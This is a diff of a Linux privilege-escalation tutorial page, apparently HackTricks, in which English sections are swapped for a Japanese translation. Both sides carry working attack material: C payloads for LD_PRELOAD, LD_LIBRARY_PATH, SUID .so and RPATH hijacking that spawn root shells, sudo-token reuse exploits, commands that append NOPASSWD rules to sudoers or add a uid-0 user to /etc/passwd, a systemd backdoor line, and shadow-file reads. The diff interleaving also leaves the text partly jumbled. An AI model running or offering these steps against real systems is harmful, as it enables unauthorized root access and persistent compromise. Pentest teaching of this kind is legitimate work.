環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ(`libc.so`)を含む前に読み込まれる1つ以上の共有ライブラリ(.soファイル)を指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。 -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +しかし、システムのセキュリティを維持し、この機能が特に**suid/sgid**実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します: -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. - -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +- ローダーは、実ユーザーID(_ruid_)が有効ユーザーID(_euid_)と一致しない実行可能ファイルに対して**LD_PRELOAD**を無視します。 +- suid/sgidを持つ実行可能ファイルの場合、標準パスにあり、かつsuid/sgidであるライブラリのみがプリロードされます。 +特権昇格は、`sudo`でコマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行される際にも認識されるため、特権のある状態で任意のコードが実行される可能性があります。 ``` Defaults env_keep += LD_PRELOAD ``` - -Save as **/tmp/pe.c** - +**/tmp/pe.c**として保存 ```c #include #include #include void _init() { - unsetenv("LD_PRELOAD"); - setgid(0); - setuid(0); - system("/bin/bash"); +unsetenv("LD_PRELOAD"); +setgid(0); +setuid(0); +system("/bin/bash"); } ``` - -Then **compile it** using: - +次に**コンパイルします**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - -Finally, **escalate privileges** running - +最後に、**特権を昇格させる** 実行 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` - > [!CAUTION] -> A similar privesc can be abused if the attacker controls the **LD_LIBRARY_PATH** env variable because he controls the path where libraries are going to be searched. - +> 攻撃者が**LD_LIBRARY_PATH**環境変数を制御している場合、同様の特権昇格が悪用される可能性があります。なぜなら、攻撃者はライブラリが検索されるパスを制御しているからです。 ```c #include #include @@ -957,9 +822,9 @@ sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo static void hijack() __attribute__((constructor)); void hijack() { - unsetenv("LD_LIBRARY_PATH"); - setresuid(0,0,0); - system("/bin/bash -p"); +unsetenv("LD_LIBRARY_PATH"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` @@ -969,19 +834,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` +### SUIDバイナリ – .soインジェクション -### SUID Binary – .so injection - -When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command: - +**SUID**権限を持つバイナリに遭遇した際に異常に見える場合、**.so**ファイルが正しく読み込まれているか確認することは良い習慣です。これを確認するには、次のコマンドを実行します: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` +例えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファイルやディレクトリはありません)”_ のようなエラーに遭遇することは、悪用の可能性を示唆しています。 -For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation. - -To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code: - +これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、次のコードを含めます: ```c #include #include @@ -989,22 +850,18 @@ To exploit this, one would proceed by creating a C file, say _"/path/to/.config/ static void inject() __attribute__((constructor)); void inject(){ - system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); +system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` +このコードは、コンパイルして実行すると、ファイルの権限を操作し、昇格した権限でシェルを実行することを目的としています。 -This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges. - -Compile the above C file into a shared object (.so) file with: - +上記のCファイルを共有オブジェクト(.so)ファイルにコンパイルするには: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` +最終的に、影響を受けたSUIDバイナリを実行すると、エクスプロイトがトリガーされ、システムの侵害の可能性が生じます。 -Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise. - -## Shared Object Hijacking - +## 共有オブジェクトハイジャック ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -1014,9 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` - -Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name: - +SUIDバイナリが書き込み可能なフォルダからライブラリを読み込んでいることがわかったので、そのフォルダに必要な名前のライブラリを作成しましょう: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -1025,24 +880,21 @@ Now that we have found a SUID binary loading a library from a folder where we ca static void hijack() __attribute__((constructor)); void hijack() { - setresuid(0,0,0); - system("/bin/bash -p"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` - -If you get an error such as - +エラーが発生した場合、例えば ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` - -that means that the library you have generated need to have a function called `a_function_name`. +それは、生成したライブラリに `a_function_name` という関数が必要であることを意味します。 ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. +[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。 -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、他のポストエクスプロイトタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1055,96 +907,79 @@ The project collects legitimate functions of Unix binaries that can be abused to ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、任意のsudoルールを悪用する方法を見つけられるかどうかを確認できます。 -### Reusing Sudo Tokens +### Sudoトークンの再利用 -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることで特権を昇格できます**。 -Requirements to escalate privileges: +特権を昇格するための要件: -- You already have a shell as user "_sampleuser_" -- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (you can be able to upload it) +- あなたはすでにユーザー "_sampleuser_" としてシェルを持っています +- "_sampleuser_" は**過去15分間に `sudo`** を使用して何かを実行しています(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です) +- `cat /proc/sys/kernel/yama/ptrace_scope` は 0 です +- `gdb` にアクセス可能です(アップロードできる必要があります) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` で一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を永続的に変更して `kernel.yama.ptrace_scope = 0` を設定できます) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +これらの要件がすべて満たされている場合、**次の方法で特権を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにできます**(自動的にルートシェルは取得できませんので、`sudo su` を実行してください): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` - -- The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid** - +- **二番目のエクスプロイト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持つ root 所有の sh シェルを作成します** ```bash bash exploit_v2.sh /tmp/sh -p ``` - -- The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo** - +- **第三のエクスプロイト** (`exploit_v3.sh`) は **sudoersファイルを作成し、sudoトークンを永続化し、すべてのユーザーがsudoを使用できるようにします** ```bash bash exploit_v3.sh sudo su ``` - ### /var/run/sudo/ts/\ -If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) to **create a sudo token for a user and PID**.\ -For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: - +フォルダー内の作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\ +たとえば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知ることなく**sudo権限を取得**できます。 ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` - ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ -**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. - +ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\ +**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる**可能性があります。また、**任意のファイルに書き込む**ことができれば、**特権を昇格させる**ことができます。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` - -If you can write you can abuse this permission - +書き込みができれば、この権限を悪用できます。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` - -Another way to abuse these permissions: - +これらの権限を悪用する別の方法: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` - ### DOAS -There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` - +`sudo` バイナリの代替として、OpenBSD の `doas` などがあります。 `/etc/doas.conf` でその設定を確認することを忘れないでください。 ``` permit nopass demo as root cmd vim ``` - ### Sudo Hijacking -If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. +もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。そして、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなど)ので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。 -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) - -Or running something like: +ユーザーが異なるシェル(bashではない)を使用している場合は、新しいパスを追加するために他のファイルを修正する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を修正します。別の例は、[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。 +または、次のようなコマンドを実行します: ```bash cat >/tmp/sudo < (0x0068c000) - libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x005bb000) +linux-gate.so.1 => (0x0068c000) +libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x005bb000) ``` - -By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. - +`/var/tmp/flag15/`にlibをコピーすることで、`RPATH`変数で指定されたこの場所でプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 - linux-gate.so.1 => (0x005b0000) - libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x00737000) +linux-gate.so.1 => (0x005b0000) +libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x00737000) ``` - -Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` - +`/var/tmp`に`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使用して悪意のあるライブラリを作成します。 ```c #include #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { - char *file = SHELL; - char *argv[] = {SHELL,0}; - setresuid(geteuid(),geteuid(), geteuid()); - execve(file,argv,0); +char *file = SHELL; +char *argv[] = {SHELL,0}; +setresuid(geteuid(),geteuid(), geteuid()); +execve(file,argv,0); } ``` +## 機能 -## Capabilities - -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linuxの能力は、プロセスに対して**利用可能なルート特権のサブセット**を提供します。これにより、ルートの**特権をより小さく、独自の単位に分割**します。これらの単位は、プロセスに独立して付与できます。この方法で、特権の完全なセットが削減され、悪用のリスクが低下します。\ +能力とそれを悪用する方法について**詳しく学ぶ**には、次のページをお読みください: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## ディレクトリの権限 -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +ディレクトリ内で、**"実行"**のビットは、影響を受けるユーザーがフォルダに**"cd"**できることを示します。\ +**"読み取り"**ビットは、ユーザーが**ファイル**を**リスト**できることを示し、**"書き込み"**ビットは、ユーザーが**ファイル**を**削除**および**新しいファイルを作成**できることを示します。 ## ACLs -Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). - -**Give** user "kali" read and write permissions over a file: +アクセス制御リスト(ACL)は、従来のugo/rwx権限を**上書きすることができる**裁量権限の二次層を表します。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細については[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)をご覧ください。 +**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与える**: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` - -**Get** files with specific ACLs from the system: - +**特定のACLを持つ**ファイルをシステムから取得します: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` +## シェルセッションを開く -## Open shell sessions +**古いバージョン**では、他のユーザー(**root**)の**シェル**セッションを**ハイジャック**することができます。\ +**最新のバージョン**では、**自分のユーザー**のスクリーンセッションにのみ**接続**できるようになります。しかし、**セッション内に興味深い情報**が見つかるかもしれません。 -In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ -In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. - -### screen sessions hijacking - -**List screen sessions** +### スクリーンセッションのハイジャック +**スクリーンセッションのリスト** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` - ![](<../../images/image (141).png>) -**Attach to a session** - +**セッションに接続する** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` +## tmux セッションのハイジャック -## tmux sessions hijacking - -This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user. - -**List tmux sessions** +これは **古い tmux バージョン** に関する問題でした。非特権ユーザーとして root によって作成された tmux (v2.1) セッションをハイジャックすることはできませんでした。 +**tmux セッションのリスト** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` - ![](<../../images/image (837).png>) -**Attach to a session** - +**セッションに接続する** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1296,149 +1113,125 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` - -Check **Valentine box from HTB** for an example. +**Valentine box from HTB**の例を確認してください。 ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月から2008年5月13日までの間にDebianベースのシステム(Ubuntu、Kubuntuなど)で生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\ +このバグは、これらのOSで新しいsshキーを作成する際に発生し、**可能な変種は32,768通りのみでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### SSHの興味深い設定値 -- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +- **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは`no`です。 +- **PubkeyAuthentication:** 公開鍵認証が許可されているかどうかを指定します。デフォルトは`yes`です。 +- **PermitEmptyPasswords**: パスワード認証が許可されている場合、空のパスワード文字列を持つアカウントへのログインをサーバーが許可するかどうかを指定します。デフォルトは`no`です。 ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +rootがsshを使用してログインできるかどうかを指定します。デフォルトは`no`です。可能な値: -- `yes`: root can login using password and private key -- `without-password` or `prohibit-password`: root can only login with a private key -- `forced-commands-only`: Root can login only using private key and if the commands options are specified -- `no` : no +- `yes`: rootはパスワードと秘密鍵を使用してログインできます +- `without-password`または`prohibit-password`: rootは秘密鍵のみでログインできます +- `forced-commands-only`: rootは秘密鍵を使用してのみログインでき、コマンドオプションが指定されている必要があります +- `no`: いいえ ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: - +ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**(`/`で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` - -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +その設定は、ユーザー "**testusername**" の **private** キーでログインしようとすると、ssh があなたのキーの公開キーを `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にあるものと比較することを示します。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. - -You need to set this option in `$HOME/.ssh.config` like this: +SSH エージェントフォワーディングを使用すると、**サーバーにキーを置かずに**(パスフレーズなしで!)**ローカルの SSH キーを使用する**ことができます。これにより、ssh **を介してホストに** **ジャンプ**し、そこから **別の** ホストに **ジャンプ** **することができ**、**初期ホスト**にある **キー**を使用できます。 +このオプションを `$HOME/.ssh.config` に次のように設定する必要があります: ``` Host example.com - ForwardAgent yes +ForwardAgent yes ``` +`Host`が`*`の場合、ユーザーが別のマシンにジャンプするたびに、そのホストはキーにアクセスできるようになります(これはセキュリティの問題です)。 -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否することができます。\ +ファイル`/etc/sshd_config`はキーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**することができます(デフォルトはallowです)。 -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). - -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Forward Agentが環境で設定されている場合、次のページを読んでください。**特権を昇格させるために悪用できるかもしれません**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## 興味深いファイル -### Profiles files - -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +### プロファイルファイル +ファイル`/etc/profile`および`/etc/profile.d/`内のファイルは、**ユーザーが新しいシェルを実行するときに実行されるスクリプトです**。したがって、これらのいずれかを**書き込むまたは変更することができれば、特権を昇格させることができます**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` +もし奇妙なプロファイルスクリプトが見つかった場合は、**機密情報**を確認する必要があります。 -If any weird profile script is found you should check it for **sensitive details**. - -### Passwd/Shadow Files - -Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files: +### Passwd/Shadowファイル +OSによっては、`/etc/passwd`および`/etc/shadow`ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるかどうか**を確認して、ファイル内に**ハッシュがあるかどうか**を確認してください。 ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` - -In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file - +場合によっては、`/etc/passwd`(または同等の)ファイル内に**パスワードハッシュ**を見つけることができます。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` - ### Writable /etc/passwd -First, generate a password with one of the following commands. - +まず、次のコマンドのいずれかを使用してパスワードを生成します。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` - -Then add the user `hacker` and add the generated password. - +次に、ユーザー `hacker` を追加し、生成されたパスワードを追加します。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` +例: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` - -You can now use the `su` command with `hacker:hacker` - -Alternatively, you can use the following lines to add a dummy user without a password.\ -WARNING: you might degrade the current security of the machine. +これで `hacker:hacker` で `su` コマンドを使用できます。 +または、次の行を使用してパスワードなしのダミーユーザーを追加できます。\ +警告: 現在のマシンのセキュリティが低下する可能性があります。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` +注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 -NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. - -You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**? - +あなたは **いくつかの機密ファイルに書き込むことができるか** 確認する必要があります。例えば、いくつかの **サービス設定ファイル** に書き込むことができますか? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` - -For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines: - +例えば、マシンが**tomcat**サーバーを実行していて、**/etc/systemd/内のTomcatサービス構成ファイルを変更できる**場合、次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root Group=root ``` +あなたのバックドアは、次回tomcatが起動したときに実行されます。 -Your backdoor will be executed the next time that tomcat is started. - -### Check Folders - -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) +### フォルダの確認 +以下のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最後のものはおそらく読み取れませんが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` - -### Weird Location/Owned files - +### 奇妙な場所/所有ファイル ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1450,77 +1243,59 @@ find / -type f -user root ! -perm -o=r 2>/dev/null find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null #Writable files by each group I belong to for g in `groups`; - do printf " Group $g:\n"; - find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null - done +do printf " Group $g:\n"; +find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null +done done ``` - -### Modified files in last mins - +### 最後の数分で変更されたファイル ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` - -### Sqlite DB files - +### Sqlite DBファイル ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` - -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files - +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ファイル ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name 